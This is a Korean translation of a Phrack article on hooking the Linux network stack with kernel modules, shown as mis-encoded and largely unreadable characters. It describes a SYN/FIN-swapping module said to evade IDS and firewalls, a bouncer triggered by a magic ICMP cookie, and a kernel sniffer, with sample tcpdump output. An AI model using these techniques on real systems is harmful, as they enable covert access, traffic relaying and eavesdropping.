-------[ Phrack Magazine --- 9±Ç | 55È£ --- 09.09.99 --- ÃÑ 19Áß 12 ] -------------------------[ ¸®´ª½º ³×Æ®¿öÅ© ·¹À̾î ] ----[ ÀúÀÚ: kossak , lifeline ] ----[ ¹ø¿ª: ¹Ú¸¶µ¿¼ö ] ----[ ¹ø¿ªÀÏ: 2000. 08. 09. ] ----[ ¼Ò°³ ¾Æ½Ã´Ù½ÃÇÇ, ¸®´ª½º Ä¿³ÎÀº ´ÜÀÏ ¾ÆÅ°ÅØÃ³¸¦ Áö´Ï°í ÀÖ´Ù. ÀÌ ¸»Àº ±âº»ÀûÀ¸·Î Ä¿³Î¿¡ ÀÇÇØ¼­ ½ÇÇàµÇ´Â ¸ðµç Äڵ尡 Ä¿³Î ¸Þ¸ð¸®¿¡ ¿Ã¶ó°¡¾ß ÇÑ´Ù´Â ¸»ÀÌ´Ù. »õ·Î¿î Çϵå¿þ¾î Áö¿øÀ» Ãß°¡ÇÏ°í ±×¿¡ ´ëÇÑ µå¶óÀ̹ö¸¦ Ãß°¡ÇÒ ¶§¸¶´Ù Ä¿³ÎÀ» »õ·Î ºôµåÇØ¾ß ÇÏ´Â ¹®Á¦Á¡À» ÇØ°áÇϱâ À§Çؼ­, ¸®´©½º Åä¹ßÁî¿Í ±× ÀÏ´ç(the gang)µéÀº ÇöÀç ¿ì¸®°¡ ¾Ö¿ëÇÏ°Ô µÈ ÀûÀç °¡´É ¸ðµâÀÇ °³³äÀ» Àâ¾ÒÀ¸´Ï, À̰ÍÀÌ ¸®´ª½º Ä¿³Î ¸ðµâ(linux kernel modules; ÁÙ¿©¼­ lkm)ÀÌ´Ù. ÀÌ ¹®¼­´Â ³×Æ®¿öÅ· ·¹ÀÌ¾î ³»¿¡¼­ lkmÀ» ÀÌ¿ëÇÔÀ¸·Î½á ¾òÀ» ¼ö ÀÖ´Â °®°¡Áö Èï¹Ì·Î¿î °ÍµéÀ» ¤¾îº¸´Â °Í¿¡¼­ Ãâ¹ßÇÏ¿©, Ä¿³Î µÞ±¸¸Û ÆÄ±â(kernel backdooring)¿¡ ´ëÇÑ ÇØ°áÃ¥À» Á¦½ÃÇÏ´Â °ÍÀ¸·Î ³¡¸¶Ä¥ °ÍÀÌ´Ù. ----[ ¼ÒÄÏ Ä¿³Î ¹öÆÛ TCP/IP´Â ·¹À̾î·Î ³ª´¶ ÇÁ·ÎÅäÄÝ ÁýÇÕÀÌ´Ù. À̰ÍÀº Ä¿³ÎÀÌ ÆÐŶÀ» Á¤È®È÷ ÇØ¼®ÇÏ°í ¼ÒÄÏ¿¡ Á¢¼ÓÇϱâ À§ÇÏ¿© ¼­·Î ´Ù¸¥ ÆÐŶ ·¹ÀÌ¾î »çÀÌÀÇ Ã³¸® ÇÔ¼ö¸¦ ÇÊ¿ä·Î ÇÑ´Ù´Â °ÍÀ» ¶æÇÑ´Ù. ù°·Î, Ä¿³ÎÀº ¸µÅ© ·¹À̾ ´Ù·ç´Â ·çƾÀ» ÇÊ¿ä·Î Çϰí, ó¸® ÈÄ¿¡ IP ·¹À̾î ó¸® ·çƾ, Àü¼Û(transport) ·¹ÀÌ¾î ·çÆ¾ µîÀ¸·Î ÆÐŶÀ» Àü´ÞÇÏ´Â ·çƾµµ ÇÊ¿ä·Î ÇÑ´Ù. ±×¸®°í °¢ ÇÁ·ÎÅäÄÝÀº ÆÐŶÀ» ó¸®ÇÔ°ú µ¿½Ã¿¡ ¼­·Î Åë½ÅÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù. ¸®´ª½º ȯ°æ¿¡¼­ ÀÌ·¯ÇÑ ¿äû¿¡ ´ëÇÑ ÀÀ´äÀ» ó¸®ÇÏ´Â °ÍÀÌ ¼ÒÄÏ Ä¿³Î ¹öÆÛ(sk_buff)ÀÌ´Ù. ÀÌ ±¸Á¶Ã¼´Â ¼­·Î ´Ù¸¥ ÇÁ·ÎÅäÄÝ ·¹ÀÌ¾î »çÀÌ, ±×¸®°í ³×Æ®¿öÅ© µð¹ÙÀ̽º µå¶óÀ̹ö »çÀÌ¿¡¼­ µ¥ÀÌÅ͸¦ ÁÖ°í ¹Þ´Â µ¥¿¡ ¾²ÀδÙ. sk_buff{} ±¸Á¶Ã¼´Â ´ÙÀ½°ú °°´Ù.(°¡Àå Áß¿äÇÑ ¾ÆÀÌÅÛ¸¸ Ç¥½ÃÇß´Ù. ´õ ÀÚ¼¼ÇÑ ³»¿ëÀ» ¾Ë°í ½ÍÀ¸¸é linux/include/linux/skbuff.h ÆÄÀÏÀ» º¸ÀÚ.) sk_buff{} --------+ next | --------| prev | --------| dev | --------| | --------| --------| head |---+ --------| | data |---|---+ --------| | | tail |---|---|---+ --------| | | | end |---|---|---|---+ --------|<--+ | | | | | | | --------|<------+ | | ´Ù·ç¾îÁú| | | ÆÐŶ | | | | | | --------|<----------+ | | | | | | | --------+<--------------+ next: ´ÙÀ½ sk_buff{} ±¸Á¶Ã¼¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ. prev: ÀÌÀü sk_buff{} ±¸Á¶Ã¼¸¦ °¡¸®Å°´Â Æ÷ÀÎÅÍ. dev: ÇöÀç »ç¿ë ÁßÀÎ µð¹ÙÀ̽º. head: ÀÌ ÆÐŶÀ» ´ã°í ÀÖ´Â ¹öÆÛÀÇ ½ÃÀÛÁ¡À» °¡¸®Å°´Â Æ÷ÀÎÅÍ. data: ÇÁ·ÎÅäÄÝ µ¥ÀÌÅÍÀÇ ½ÇÁ¦ ½ÃÀÛÁ¡À» °¡¸®Å°´Â Æ÷ÀÎÅÍ. ¾î¶² ÇÁ·ÎÅäÄÝ ·¹À̾ ¾²°í ÀÖ´À³Ä¿¡ µû¶ó ´Þ¶óÁú ¼ö ÀÖ´Ù. tail: ÇÁ·ÎÅäÄÝ µ¥ÀÌÅÍÀÇ ³¡À» °¡¸®Å°´Â Æ÷ÀÎÅÍ. ¿ª½Ã sk_buff°¡ ¾î¶² ÇÁ·ÎÅäÄÝ ·¹À̾ ¾²°í ÀÖ´À³Ä¿¡ µû¶ó ´Þ¶óÁú ¼ö ÀÖ´Ù. end: ÀÌ ÆÐŶÀ» ´ã°í ÀÖ´Â ¹öÆÛÀÇ ³¡À» °¡¸®Å°´Â Æ÷ÀÎÅÍ. °íÁ¤°ª. ´õ Àç¹ÌÀÖ°Ô, ´ÙÀ½ »óȲÀ» »ý°¢Çغ¸ÀÚ: - È£½ºÆ® A°¡ È£½ºÆ® B¿¡ ÆÐŶÀ» º¸³½´Ù. - È£½ºÆ® B´Â Á¤»óÀûÀÎ ³×Æ®¿öÅ© µð¹ÙÀ̽º¸¦ ÅëÇÏ¿© ÆÐŶÀ» ¹Þ´Â´Ù. - ³×Æ®¿öÅ© µð¹ÙÀ̽º´Â µ¥ÀÌÅ͸¦ sk_buff µ¥ÀÌÅÍ ±¸Á¶·Î º¯È¯ÇÑ´Ù. - ÀÌ µ¥ÀÌÅÍ ±¸Á¶°¡ ¹é·Î±× Å¥(backlog queue)¿¡ Ãß°¡µÈ´Ù. - ½ºÄÉÁÙ·¯°¡ ÆÐŶÀ» ¾î¶² ÇÁ·ÎÅäÄÝ ·¹À̾î·Î Àü´ÞÇÒÁö °áÁ¤ÇÑ´Ù. µû¶ó¼­, ÇѰ¡Áö Áú¹®ÀÌ »ý±ä´Ù... ½ºÄÉÁÙ·¯´Â µ¥ÀÌÅ͸¦ ¾î¶² ÇÁ·ÎÅäÄÝ·Î Àü´ÞÇÒÁö¸¦ ¾î¶»°Ô °áÁ¤Çϴ°¡? °¢ ÇÁ·ÎÅäÄÝÀº packet_type{} µ¥ÀÌÅÍ ±¸Á¶¿¡ µî·ÏµÇ¾î ÀÖ°í, packet_type{}Àº ptype_all ¸®½ºÆ® ¶Ç´Â ptype_base ÇØ½Ã Å×ÀÌºí¿¡ ÀÇÇØ À¯ÁöµÈ´Ù. packet_type{} µ¥ÀÌÅÍ ±¸Á¶´Â ÇÁ·ÎÅäÄÝ Å¸ÀÔ, ³×Æ®¿öÅ© µð¹ÙÀ̽º, ÇÁ·ÎÅäÄÝ Àü´Þ µ¥ÀÌÅÍ Ã³¸® ·çƾ¿¡ ´ëÇÑ Æ÷ÀÎÅÍ, ±×¸®°í ´ÙÀ½ packet_type{} ±¸Á¶¿¡ ´ëÇÑ Æ÷ÀÎÅ͸¦ ´ã°í ÀÖ´Ù. ³×Æ®¿öÅ© Çڵ鷯´Â µé¾î¿À´Â ÆÐŶ(sk_buff ÇüÅÂ)ÀÇ ÇÁ·ÎÅäÄÝ Å¸ÀÔ Çϳª¿Í packet_type{} ±¸Á¶Ã¼ Çϳª ÀÌ»óÀ» ¼­·Î ´ëÀÀ½ÃŲ´Ù. ±×·¯¸é sk_buff´Â ´ëÀÀÇÏ´Â ÇÁ·ÎÅäÄÝÀÇ Çڵ鸵 ·çƾÀ¸·Î ³Ñ¾î°£´Ù. ----[ The Hack ¿ì¸®°¡ ÇÒ ÀÏÀº packet_type{} µ¥ÀÌÅÍ ±¸Á¶¸¦ µî·Ï½ÃÄÑ µð¹ÙÀ̽º µå¶óÀ̹ö·ÎºÎÅÍ ³ª¿Â Á÷ÈÄ¿¡ µé¾î¿À´Â ¸ðµç ÆÐŶ(sk_buff ÇüÅÂ)À» ´Ù·ê ¼ö ÀÖ´Â Ä¿³Î ¸ðµâÀ» Â¥´Â °ÍÀÌ´Ù. »ý°¢º¸´Ù´Â ½±´Ù. packet_type{} ±¸Á¶Ã¼¸¦ ä¿ì°í ±×°ÍÀ» Ä¿³Î ¿ÜºÎ ÇÔ¼ö dev_add_pack()¸¦ ½á¼­ µî·ÏÇÑ´Ù. Çڵ鷯´Â µð¹ÙÀ̽º µå¶óÀ̹ö¿Í ´ÙÀ½ ·çƾ Çڵ鷯 (¹Ù·Î Á÷Àü¿¡´Â ù¹øÂ°¿´´ø Çڵ鷯) »çÀÌ¿¡ ³õÀÌ°Ô µÈ´Ù. À̰ÍÀº µð¹ÙÀ̽º µå¶óÀ̹ö·ÎºÎÅÍ ¿À´Â ¸ðµç sk_buff°¡ ù¹øÂ°·Î ÆÐŶ Çڵ鷯¸¦ Åë°úÇØ¾ß ÇÑ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ----[ ¿¹Á¦ ½ÇÁ¦ »óȲÀÇ ¼¼°¡Áö ¿¹Á¦¸¦ º¸ÀδÙ. ÇÁ·ÎÅäÄÝ º¯ÀÌ ·¹À̾î, Ä¿³Î ·¹º§ ÆÐŶ ¹Ù¿î¼­, ±×¸®°í Ä¿³Î ·¹º§ ÆÐŶ ½º´ÏÆÛÀÌ´Ù. ----[ OTP (Obscure Transport Protocol) ù¹øÂ° ¿¹Á¦´Â ¸Å¿ì °£´ÜÇÏ´Ù.(±×¸®°í Àç¹ÌÀÖ´Ù.) Ŭ¶óÀ̾ðÆ®-¼­¹ö ȯ°æ¿¡¼­ ÀÛµ¿Çϸç, µÎ °³ÀÇ ¸ðµâÀ» ¿Ã·Á¾ß ÇÑ´Ù. Çϳª´Â Ŭ¶óÀÌ¾ðÆ® ÂÊ¿¡ ¿Ã¸®°í, ´Ù¸¥ Çϳª´Â ¼­¹ö ÂÊ¿¡ ¿Ã¸°´Ù. Ŭ¶óÀÌ¾ðÆ® ¸ðµâÀº SYN Ç÷¡±×¸¦ ´Þ°í ÀÖ´Â TCP ÆÐŶÀ» ¸ðµÎ Àâ¾Æ³»¾î SYN Ç÷¡±×¸¦ FIN Ç÷¡±×·Î ¹Ù²Û´Ù. ¼­¹ö ¸ðµâÀº Á¤È®È÷ ¹Ý´ë ¿ªÇÒÀ» ÇÏ¿© FIN Ç÷¡±×¸¦ SYN Ç÷¡±×·Î ¹Ù²Û´Ù. Àç¹ÌÀÖ´Â Á¡Àº, ¾çÃø ¸ðµÎ Åë»óÀûÀÎ Á¢¼ÓÀÌ ¹°¹Ø¿¡¼­ ÀÌ·ç¾îÁö°í ÀÖÁö¸¸ ³×Æ®¿öÅ© »ó¿¡¼­ ±×°ÍÀ» °¨ÁöÇÒ ¶§¿¡´Â ºñÁ¤»óÀûÀ¸·Î º¸Àδٴ Á¡ÀÌ´Ù. Æ÷Æ®¿Í Ãâ¹ßÁö ÁÖ¼Ò¿¡ ´ëÇØ¼­µµ ¸¶Âù°¡ÁöÀÌ´Ù. ³×Æ®¿öÅ©·ÎºÎÅÍ Ã£¾Æ³½ ¿¹Á¦¸¦ Çϳª º¸ÀÚ. ´ÙÀ½ ½Ã³ª¸®¿À¸¦ »ý°¢ÇØ º¸ÀÚ. 'doubt'¶ó´Â È£½ºÆ®°¡ 'hardbitten'À̶ó´Â È£½ºÆ®¿¡ ÅÚ³Ý Á¢¼ÓÀ» ÇÏ·Á ÇÑ´Ù. ¼­¹ö¿Í Ŭ¶óÀÌ¾ðÆ® Ãø¿¡ ¸ðµÎ ¿ì¸®ÀÇ ¸ðµâÀ» ¿Ã¸®°í 23¹ø Æ÷Æ®¿Í 80¹ø Æ÷Æ®¸¦ ¹Ù²Ù°í SYNÀ» FINÀ¸·Î, FINÀ» SYNÀ¸·Î ¹Ù²Û´Ù. [lifeline@doubt ITP]$ telnet hardbitten Åë»óÀûÀÎ Á¢¼Ó(¸ðµâÀ» ¿Ã¸®Áö ¾ÊÀº »óÅÂ)Àº ´ÙÀ½°ú °°´Ù: 03:29:56.766445 doubt.1025 > hardbitten.23: tcp (SYN) 03:29:56.766580 hardbitten.23 > doubt.1025: tcp (SYN ACK) 03:29:56.766637 doubt.1025 > hardbitten.23: tcp (ACK) (Ãʱâ Á¢¼Ó ¿äû, Áï 3-way ÇÚµå¼ÎÀÌÅ©ÀÌ´Ù.) ÀÌÁ¦ ¸ðµâÀ» ¿Ã¸®°í °°Àº ÀýÂ÷¸¦ ¹Ýº¹Çß´Ù. ³×Æ®¿öÅ©¸¦ °üÂûÇϸé Á¢¼ÓÀÌ ´ÙÀ½°ú °°ÀÌ º¸ÀÏ °ÍÀÌ´Ù. 03:35:30.576331 doubt.1025 > hardbitten.80: tcp (FIN) 03:35:30.576440 hardbitten.80 > doubt.1025: tcp (FIN ACK) 03:35:30.576587 doubt.1025 > hardbitten.80: tcp (ACK) ¹«½¼ ÀÏÀÌ ÀϾ´À³Ä Çϸé, 'doubt'°¡ 'hardbitten'¿¡ ´ëÇØ ¼º°øÀûÀ¸·Î ÅÚ³Ý ¼¼¼ÇÀ» ¿äûÇß´Ù. ´ëºÎºÐÀÇ IDS¿Í ¹æÈ­º® Á¤Ã¥À» ±³¹¦È÷ ºüÁ®³ª°¥ ¼ö ÀÖ´Â ¸ÚÁø ¹æ¹ýÀÌ´Ù. À̰͵µ ¾ÆÁÖ Àç¹ÌÀÖ´Ù. :-) ¾Æ, ÇѰ¡Áö ¹®Á¦Á¡ÀÌ ÀÖ´Ù. TCP Á¢¼ÓÀ» Á¾·áÇÒ ¶§¿¡ À§¿¡¼­ ¸»ÇßµíÀÌ FINÀÌ SYNÀ¸·Î ¹Ù²î´Â °ÍÀÌ´Ù. À̸¦ ÇØ°áÇϱâ À§ÇÑ ½¬¿î ¹æ¹ýÀÌ Àִµ¥, ¼ÒÄÏÀÌ TCP_LISTEN, TCP_SYN_SENT, ¶Ç´Â TCP_SYN_RECV »óÅÂÀÏ ¶§¿¡´Â lkmÀÌ Ç÷¡±×¸¦ ¶Ç´Ù½Ã ¹Ù²Ùµµ·Ï ¸¸µå´Â °ÍÀÌ´Ù. "½ºÅ©¸³Æ® ۵ð"¿¡ ÀÇÇØ ¾Ç¿ëµÇÁö ¾Ê±â À§Çؼ­ À̰ÍÀ» Á÷Á¢ ±¸ÇöÇÏÁö´Â ¾Ê¾Ò´Ù. ³»°¡ ³Ê¹« ¹Ùºü¼­À̱⵵ ÇÏ°í ³Ê¹« °ÔÀ»·¯¼­À̱⵵ ÇÏ´Ù. ±×·¯³ª ¾î·ÆÁö´Â ¾ÊÀ»Å×´Ï Çѹø ÇØº¸µµ·Ï. ´ç½ÅÀ» ¹Ï´Â´Ù. ----[ Ä¿³Î Æ®·¡ÇÈ ¹Ù¿î¼­ ÀÌ ÆÐŶ Áß°è µµ±¸´Â ÀÌ ½ÃÁ¡¿¡¼­ ÁÖ·Î °³³äÀ» Áõ¸íÇϱâ À§ÇÑ °ÍÀÌ´Ù. ¾ÕÀÇ ¿¹Á¦¿Í °áÇÕµÇ¸é Æ¯È÷ Èï¹Ì·Ó´Ù. µé¾î¿À´Â ¸ðµç ÆÐŶÀ» ÁöÄѺ¸°í ÀÖ´Â 'medusa'¶ó´Â È£½ºÆ®¿¡ ¸ðµâÀ» ¿Ã¸°´Ù. 'hydra'¶ó´Â ´ë»ó È£½ºÆ®´Â 'medusa'·ÎºÎÅÍ ÅÚ³Ý Á¢¼Ó¸¸ ¹Þ¾ÆµéÀδÙ. ±×·¯³ª 'medusa'¿¡ ·Î±×ÀÎÇÏ´Â °ÍÀº ÀÌ¹Ì root°¡ ·Î±×ÀÎÇÑ »óÅÂÀ̹ǷΠ³Ê¹« À§ÇèÇÏ´Ù. ÇÏÁö¸¸ °ÆÁ¤ ¾ø´Ù. ¸ÅÁ÷ ÄíŰ ¶Ç´Â ¾ÏÈ£¿Í Ãâ¹ßÁö, µµÂøÁöÀÇ IP, Æ÷Æ® ¹øÈ£ÀÇ ½Ö(Ãâ¹ßÁö IP:Ãâ¹ßÁö Æ÷Æ®, µµÂøÁö IP:µµÂøÁö Æ÷Æ®)À» Æ÷ÇÔÇÏ´Â ICMP_ECHO_REQUEST ÆÐŶÀ» Àü¼ÛÇÏ¸é µÈ´Ù. Ãâ¹ßÁö Æ÷Æ®¸¦ »ý·«Çصµ º° ¹®Á¦´Â ¾ø´Ù. (¹Ù·Î ¾Æ·¡ÀÇ ¿¹Á¦¿¡¼­µµ ±×·¸°Ô ÇÒ °ÍÀÌ´Ù.) ¿ì¸®°¡ ¿Ã¸° ¸ðµâÀº ÀÌ Äí۸¦ ¹Þ¾Æµé¿© ó¸®ÇÒ °ÍÀÌ´Ù. `Ãâ¹ßÁö IP:Ãâ¹ßÁö Æ÷Æ®'¿¡¼­ `medusa:µµÂøÁö Æ÷Æ®'·Î °¡´Â ÆÐŶÀº ¸ðµÎ `µµÂøÁö IP:µµÂøÁö Æ÷Æ®'·Î Àü¼ÛµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ´Ù. ´ÙÀ½ ¿¹Á¦´Â ÀÌ °úÁ¤À» ¸ÚÁö°Ô º¸¿©ÁØ´Ù. - È£½ºÆ® medusa¿¡´Â ¹Ù¿î¼­ ¸ðµâÀÌ ¼³Ä¡µÇ¾î ÀÖ´Ù. - È£½ºÆ® medusa´Â <Ãâ¹ßÁö IP:Ãâ¹ßÁö Æ÷Æ®, µµÂøÁö IP:µµÂøÁö Æ÷Æ®> ÇüÅÂÀÇ ¸ÅÁ÷ ICMP ÆÐŶÀ» ¹Þ¾ÆµéÀδÙ. - `Ãâ¹ßÁö IP:Ãâ¹ßÁö Æ÷Æ®'·ÎºÎÅÍ È£½ºÆ® medusa·Î µµÂøÁö Æ÷Æ® ¹øÈ£¿Í ÇÔ²² Àü¼ÛµÇ´Â ¸ðµç ÆÐŶÀº µµÂøÁö IP·Î ¶ó¿ìÆ®µÉ °ÍÀ̰í, ±× ¹Ý´ëÀÇ °æ¿ìµµ ¸¶Âù°¡ÁöÀÌ´Ù. ÆÐŶÀº medusaÀÇ ½ºÅà ³ª¸ÓÁö °ø°£¿¡¼­ 󸮵ÇÁö´Â ¾Ê´Â´Ù. À§¿¡¼­ ¹àÇûµíÀÌ, ÄÚµå ¿¹Á¦¿¡¼­´Â ¹Ù¿î¼­¿¡ º¸³»´Â Á¤º¸ Áß¿¡¼­ Ãâ¹ßÁö Æ÷Æ® Á¤º¸¸¦ ¾ø¾Ö ¹ö·È´Ù. µû¶ó¼­ ¸ðµç Ãâ¹ßÁö Æ÷Æ® ¹øÈ£¿¡ ´ëÇØ ÆÐŶÀ» ¹Þ¾ÆµéÀÏ °ÍÀÌ´Ù. À̰ÍÀº ¸Å¿ì À§ÇèÇÏ´Ù: ¾Æ·¡¿Í °°Àº ¹Ù¿î½Ì ±ÔÄ¢À» È£½ºÆ® 'medusa'¿¡ Àû¿ë½ÃÄ×´Ù°í »ý°¢Çغ¸ÀÚ. ±×¸®°í 'medusa'·ÎºÎÅÍ 'hydra'·Î ÅÚ³Ý Á¢¼ÓÇØº¸ÀÚ. ¾ÈµÉ °ÍÀÌ´Ù. hydra·ÎºÎÅÍ µ¹¾Æ¿À´Â ¸ðµç ÆÐŶÀÌ 'intruder'·Î Àü¼ÛµÉÅ×´Ï ¸»ÀÌ´Ù. µû¶ó¼­ ÅÚ³ÝÀ» ½ÇÇà½ÃŲ »ç¿ëÀÚ¿¡°Ô´Â ¾î¶°ÇÑ ÀÀ´äµµ º¸ÀÌÁö ¾Ê´Â´Ù. ħÀÔÀÚ(Intruder)´Â Á¢¼ÓÀ» ½ÃÀÛÇÏÁöµµ ¾Ê¾ÒÀ¸´Ï, º¸³ª¸¶³ª ÆÐŶÀ» ¹«½ÃÇÒ °ÍÀÌ´Ù. Ãâ¹ßÁö Æ÷Æ®¸¦ ±ÔÄ¢¿¡ »ç¿ëÇϸé ÀÌ·¯ÇÑ À§ÇèÀ» ÁÙÀÏ ¼ö ÀÖÁö¸¸, ¿ì¸®ÀÇ ¹Ù¿î½Ì ±ÔÄ¢¿¡ »ç¿ëÇÑ Ãâ¹ßÁö Æ÷Æ®¿Í °°Àº Æ÷Æ®¸¦ medusa ³»ÀÇ ¾î¶² »ç¿ëÀÚ°¡ ¾²°í ÀÖÀ» °¡´É¼ºÀº ¿©ÀüÈ÷ ³²¾Æ ÀÖ´Ù.(Ä¿³Î ¼Ò½ºÀÇ ¸¶½ºÄ¿·¹À̵ù Äڵ带 »ìÆìº¸ÀÚ.) ºÎ¿¬ ¼³¸íÇÏÀÚ¸é, ÀÌ ±â¹ýÀº °ÅÀÇ ¸ðµç ÇÁ·ÎÅäÄÝ¿¡ »ç¿ëµÉ ¼ö ÀÖ´Ù. Æ÷Æ® abstraction(UDP/TCP)ÀÌ ¾ø´Â ÇÁ·ÎÅäÄÝ¿¡¼­µµ ¸»ÀÌ´Ù. ICMP ¹Ù¿î½ÌÁ¶Â÷µµ Äí۸¦ ÀÌ¿ëÇÏ¿© ÇÒ ¼ö ÀÖ´Ù. IP ¸¶½ºÄ¿·¹À̵ùº¸´Ù ´õ Àú¼öÁØÀÇ Á¢±Ù¹ýÀ̰í, ³» ÀǰßÀ¸·Î´Â ´õ ÁÁÀº Á¢±Ù¹ýÀÌ´Ù. :) ¹Ù¿î¼­¿¡ °üÇÑ ÀïÁ¡: - Ãâ¹ßÁö Æ÷Æ® ¸ðÈ£¼º. ³» ÀǰßÀ¸·Î´Â, À̰ÍÀ» ÇØ°áÇÏ·Á¸é Ãâ¹ßÁö Æ÷Æ® ¾øÀÌ ±ÔÄ¢À» ¹Þ¾ÆµéÀ̰í, SYN ÆÐŶÀÌ ¹Ù¿î¼­¿¡ µµÂøÇÑ ÈÄ¿¡ Ãâ¹ßÁö Æ÷Æ®¸¦ ±ÔÄ¢¿¡ Ãß°¡ÇÏ´Â °ÍÀÌ ÁÁ´Ù. ±×·¯¸é ±ÔÄ¢Àº Á¢¼Ó¿¡ ´ëÇØ¼­¸¸ ¿µÇâÀ» ³¢Ä¥ °ÍÀÌ´Ù. Ãâ¹ßÁö Æ÷Æ®´Â RST ¶Ç´Â ÆÐŶ ŸÀӾƿô ´ë±â ½Ã±×³Î¿¡ ÀÇÇØ »èÁ¦µÉ °ÍÀÌ´Ù. - ±ÔÄ¢¿¡ ŸÀӾƿôÀ» ¼³Á¤ÇÏÁö ¸»ÀÚ. - ¹Ù¿î¼­´Â IP ÆÄÆí(fragment)À» ´Ù·çÁö ¸»µµ·Ï ÇÏÀÚ. ¹°·Ð ´õ Ä¿´Ù¶õ ÀïÁ¡ÀÌ Á¸ÀçÇÑ´Ù. µð¹ÙÀ̽º¸¦ ÅëÇØ ÆÐŶÀ» Àü¼ÛÇÏ´Â Ãâ¹ßÁö¸¦ »ý°¢ÇØ º¸ÀÚ. ¶ó¿ìÅÍ¿¡°Ô´Â ÁÁÁö ¾ÊÀº »óȲÀÌ´Ù. ÀÌ·± »óȲÀº ÆÐŶÀÇ Ãâ¹ßÁö µð¹ÙÀ̽ºÀÇ Çϵå¿þ¾î ÁÖ¼Ò¿¡ Á÷Á¢ Á¢±ÙÇÒ ¹æ¹ý¹Û¿¡ ¾ø´Â °æ¿ì¿¡ ¹ß»ýÇÑ´Ù. ¶Ç´Ù¸¥ µð¹ÙÀ̽º¿¡ ´ëÇÑ ¶ó¿ìÆÃÀ» ±¸ÇöÇϱâ À§Çؼ­, IP ¶ó¿ìÆÃ Å×À̺íÀ» ÂüÁ¶ÇÏ°í ÆÐŶÀ» º¸³¾ µð¹ÙÀ̽º¿Í µµÂøÁöÀÇ MAC ÁÖ¼Ò¸¦ ã¾Æ¾ß ÇÑ´Ù.(ÀÌ´õ³Ý µð¹ÙÀ̽ºÀÎ °æ¿ì¿¡.) ¹°·Ð ARP ¿äûÀÌ ÇÊ¿äÇÒ °ÍÀÌ´Ù. À̰ÍÀº ¸Å¿ì ±î´Ù·Î¿î °úÁ¤ÀÌ´Ù. ÀÌ·¸°Ô ³×Æ®¿öÅ©¿¡ ÀÇÁ¸ÀûÀ̸é Á¤¸» °ñÄ¡¾ÆÆÄÁú ¼ö ÀÖ´Ù. TTL¿¡ ÀÇÇØ expireµÉ ¶§±îÁö µÎ È£½ºÆ® »çÀÌ¿¡¼­ ²Ä¦ ¸øÇÏ°í ¹­¿© ÀÖÀ» ¼öµµ ÀÖ°í, ¾Æ´Ï¸é ³×Æ®¿öÅ© Æ®·¡ÇÈ °úÀ×ÀÌ ¹ß»ýÇÒ ¶§±îÁö ¹«»çÈ÷ ºüÁ®³ª¿ÀÁö ¸øÇÒ ¼öµµ ÀÖ´Ù. ----[ Ä¿³Î ±â¹Ý ½º´ÏÆÛ °³³ä µµ±¸ÀÇ ¶Ç´Ù¸¥ ¿¹Á¦ÀÎ ½º´ÏÆÛ´Â ¹Ù¿î¼­º¸´Ù ´õ °£´ÜÇÏ´Ù. ¸ðµç ÇÁ·ÎÅäÄÝ Çڵ鷯¸¦ Á¦ÃÄµÎ°í ¼ÒÄÏ ¹öÆÛ Çڵ鷯¸¦ ¾²¸ç, TCP ÆÐŶÀ» °üÂûÇÏ¿© ÆÄÀÏ¿¡ ±â·ÏÇÑ´Ù. ¹°·Ð ¸î°¡Áö ¾î·Á¿òÀÌ Á¸ÀçÇÑ´Ù. ¼­·Î ´Ù¸¥ Á¢¼ÓÀ¸·ÎºÎÅÍ ÆÐŶÀ» È®ÀÎÇÒ ¼ö ÀÖ¾î¾ß Çϰí, Á¤»óÀûÀÎ °á°ú¸¦ ¾ò±â À§ÇÏ¿© TCP ÆÐŶÀÇ ½ÃÄö½º È¥¼±(out-of-sequence)À» ¹Ù·ÎÀâ¾Æ¾ß ÇÑ´Ù. À̰ÍÀº ƯÈ÷ ÅÚ³Ý Á¢¼ÓÀÇ °æ¿ì¿¡ ´õ¿í °í¾àÇÏ´Ù. (ŸÀӾƿô Ư¼ºÀº ºüÁ® ÀÖ´Ù. ±×¸®°í Çϳª ÀÌ»óÀÇ Á¢¼ÓÀ» µ¿½Ã¿¡ ½º´ÏÇÎÇÏ´Â ±â´Éµµ ¸¶Âù°¡ÁöÀÌ´Ù. (Á¶±Ý ¾î·Æ´Ù.) ) ÀÌ·ÐÀûÀ¸·Î, ¸ðµâÀº ¸ðµç °á°ú°ªÀ» Ä¿³Î ¸Þ¸ð¸®¿¡ ÀúÀåÇÏ°í ¿ì¸®¿¡°Ô ³Ñ°ÜÁÖ¾î¾ß ÇÑ´Ù.(¿ì¸®°¡ ¿øÇÏ¸é Æ¯º°ÇÑ ÆÐŶÀ¸·Î º¸³¾ °ÍÀÌ´Ù.) ±×·¯³ª ÀÌ ±ÛÀº °³³ä Áõ¸íÀ̰í, ¿Ïº®ÇÑ "½ºÅ©¸³Æ® ۵ð" ¹®¼­°¡ ¾Æ´Ï±â ¶§¹®¿¡, Çö¸íÇÑ µ¶ÀÚ ¿©·¯ºÐÀÌ Äڵ带 °³¼±Çϰí, ¹è¿ì°í, ½ÇÁ¦·Î ½ÇÇàÇØº¸½Ã±æ ¹Ù¶õ´Ù. :) ----[ Ä¿³Î ÇØÅ·¿¡ ´ëÇÑ ÇØ°áÃ¥ ÀÚ, Ä¿³Î À̸®Àú¸® °ô·ÁÁÖ´Â °Ô Àç¹ÌÀִ°¡? ºñ±ØÀ» ³¡³»ÀÚ. ¸®´ª½º Ä¿³ÎÀº ´ç½ÅÀÇ Ä£±¸ÀÌ´Ù! :) /dev/kmemÀ» ÀÌ¿ëÇÑ Ä¿³Î ÆÐÄ¡¿¡ ´ëÇÑ SilvioÀÇ ÈǸ¢ÇÑ ¹®¼­¸¦ Àо¾Ò´Ù. ÀÌÁ¦ ¸ðµâ Áö¿ø ¾øÀÌ Ä¿³ÎÀ» ÄÄÆÄÀÏÇÏ´Â °Í¸¸À¸·Î´Â ÇØ°áµÇÁö ¾Ê´Â´Ù. ÇѰ¡Áö ¾ÆÀ̵ð¾î¸¦ Á¦½ÃÇÑ´Ù. ÄÚµå Â¥±âµµ Á¤¸» ½±´Ù. ÇϳªÀÇ ¸ðµâÀε¥,(¹°·Ð ¾Æ±î ¾ê±âÇÑ ¸ðµâ°ú´Â ´Ù¸¥ °ÍÀÌ´Ù.) Ä¿³Î¿¡ ¿Ã¶ó°¡¸é ´Ù¸¥ ¸ðµâÀÌ ´õÀÌ»ó ¿Ã¶ó¿ÀÁö 